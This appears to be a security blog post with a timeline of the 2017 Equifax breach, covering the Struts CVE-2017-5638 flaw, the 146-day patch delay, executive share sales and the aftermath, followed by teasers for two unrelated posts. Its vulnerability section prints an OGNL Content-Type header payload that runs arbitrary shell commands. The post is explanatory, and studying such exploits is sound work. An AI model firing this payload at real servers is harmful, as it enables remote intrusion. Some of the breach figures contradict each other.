Category: Miscellaneous

Equifax Breach Timeline


In 2017 Equifax were breached, the breach was discovered on July 29[5] and an announcement was published on Sept 7.[5] It wasn’t the largest breach of all time, and not even of 2017, but it was big and the data was sensitive. Over the two weeks following the announcement, Equifax stock fell from 142.72 to 92.98 (34.58%)

In regards to large breaches, in the same year Yahoo “upgraded” their previous August 2013 breach to note that it now believed to have affected all 3 billion accounts held on their systems. This figure was up from the original reported 1 billion affected accounts.[1][2][3] Yahoo noted that the stolen user information may have included names, email addresses, telephone numbers, dates of birth, MD5 hashes of passwords and in some cases encrypted or unencrypted security questions and answers.[3]

Additionally River City Media suffered a security incident that saw 1.37 billion email/postal addresses leaked. River City Media clarified that full name, IP address and email address was included for every record whilst physical (postal) address was included for “some” accounts.[4]

These breaches dwarf the “approximately 143 million” U.S. consumers affected which was the initial estimation, later increased to 145.5 million U.S. consumers” affected.[10] This increase additionally included 694,000 UK[21] citizens and 8,000 Canadian citizens.[9]

Initially the attack seemed to have taken place from mid-May and involved names, social security numbers, dates of birth, addresses and in some cases credit card numbers and driving license numbers.[6] However there was an earlier breach in March which Bloomberg reports was performed by the same intruders,[7] although Equifax released a statement denying the events were related:[8]

“The March event reported by Bloomberg is not related to the criminal hacking that was discovered on 29 July. Mandiant has investigated both events and found no evidence that these two separate events or the attackers were related.”

The latter breach was due to an Apache Struts vulnerability now known as CVE-2017-5638 which was publicly announced on 2017-03-06 along with a fix, an exploit was released as early as 2017-03-07[18] although Equifax did not patch the issue until 2017-07-30.[11] Putting the time to patch at 146 days.

The breach was detected on July 29th and days later four top managers sold some of their shares in Equifax. The Chief Financial Officer sold 13% of their holdings a $946,374. The President of US Information Solutions sold 9% of their holdings at $584,099. The President of Workforce Solutions sold 4% of their holdings at $250,458. Additionally a Senior VP of Investor Relations also sold shares.[13]

A special committee set up by Equifax’s board conducted an investigation. That investigation held 62 interviews and reviewed 55,000 documents, which included emails, text messages and phone logs and determined the four had no knowledge of the breach and this was not considered insider trader. Additionally they had all gained pre-clearance to sell the stock.[14]

However the US Justice Department are reportedly investigating the share sales[16] and the Federal Trade Commission is investigating the breach.[17]
Oh, and the CEO blamed an individual person for causing the data breach by failing to communicate the requirement to apply the patch.[15][20] However the CEO retired following the breach. He received a payout of $90,000,000. The Chief Information Officer and Chief Security Officer also both retired following the breach.

On a funny angle, during the period following the announcement of the breach, Equifax official twitter accounts accidentally (and repeatedly) misdirected users to a phishing site instead of their own information site. They intended to send them to but instead sent them to a fake site hosted by a security researcher at[19][23]

Finally, following their second breach the Equifax Credit Assistance site was found to be serving malicious software posing as a Adobe Flash update. They reportedly corrected this issue on October 12.[22]



Feb 14 Apache is notified of the Struts vulnerability
Mar 6 Apache releases a fix for the vulnerability
Mar 7  An exploit is made available through Exploit-DB
 May 14  The day the breach occurred according to an Equifax statement
 Jul 29  Equifax detects the breach
 Jul 30  The exploited system is patched
 Aug 1  CFO and President of U.S. Information Solutions sells shares.
 Aug 2  President of Workforce Solutions sells shares
 Sep 7  Equifax announces the breach
Sep 8  Equifax is critisized for the TrustID forcing users to waive their right to a class action lawsuit and New York Attorney General Eric Schneiderman demands the removal of the language. Equifax share price is down 13.7% since Sep 7.
 Sep 9  Equifax twitter account accidentally and repeatedly directs users to phishing site
 Sep 15  Equifax shares are down 34.58% following the breach announcement CSO and CIO announce retirement “effective immediately”
 Sep 26  CEO announces retirement, and takes a $90,000,000 payout.
 Oct 2  Equifax raises the number of affected US to 145.5 million and adds 800 Canadians
 Oct 3 Equifax CEO blames a single individual for the breach
 Oct 10 Equifax announces 15.2m UK records compromised, of which 14.5 contain names and dates of birth, but 693,665 contain sensitive information.
 Oct 12 Equifax announces it has removed malicious software from its Credit Assistance site.
 Nov 3  Equifax announces it found no wrong doings in the four executives share trades.


Vulnerability Details

The vulnerability exploited was CVE-2017-5638 which is an arbitrary command execution vulnerability within Apache Struts. Several exploits have been written with an initial proof-of-concept being released within 24 hours of the patch release day.

The vulnerability works by specifying a crafted Content-Type, Content-Disposition, or Content-Length HTTP header within a HTTP request. The headers can be crafted to include an OGNL expression which can cause arbitrary command execution. Such as:

Content-Type: %{(#_=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=’CMD HERE’).(#iswin=(@java.lang.System@getProperty(‘’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(,#ros)).(#ros.flush())}




A Noob Installed BSD

The year is 2017, the year of BSD on the desktop…at least for me it is. Now as anyone who reads this site regularly will know, I’m pretty good with these com-puter thingies. However – plot twist, I’ve never ran BSD before. I use Mac OS X on a MacBook I have definitely voided the warranty on and for my personal computing and I use Linux, Fedora Security Lab, for the day job. So I’m not afraid of a command line, but at this stage I don’t even know what kind of command line I’ll get with BSD! 

Continue reading: A Noob Installed BSD

Vulnerability Assessments vs Penetration Tests

I occasionally see the terms Vulnerability Assessment and Penetration Test used interchangeably, or worse, phrases such as “Automated Penetration Test” – something that really pains me, as there are very distinct types of assessment. In this article I’d like to show the distinctions between the different types of assessment. Setting aside any argument of specific terminology, I aim to explain the different approaches that can be taken and the aims of each – regardless of what you choose to call them. I aim to assist companies engage with their security assessment providers to ensure that the service they’re getting is what they are expecting and so that they are aware of the alternatives.

Continue reading: Vulnerability Assessments vs Penetration Tests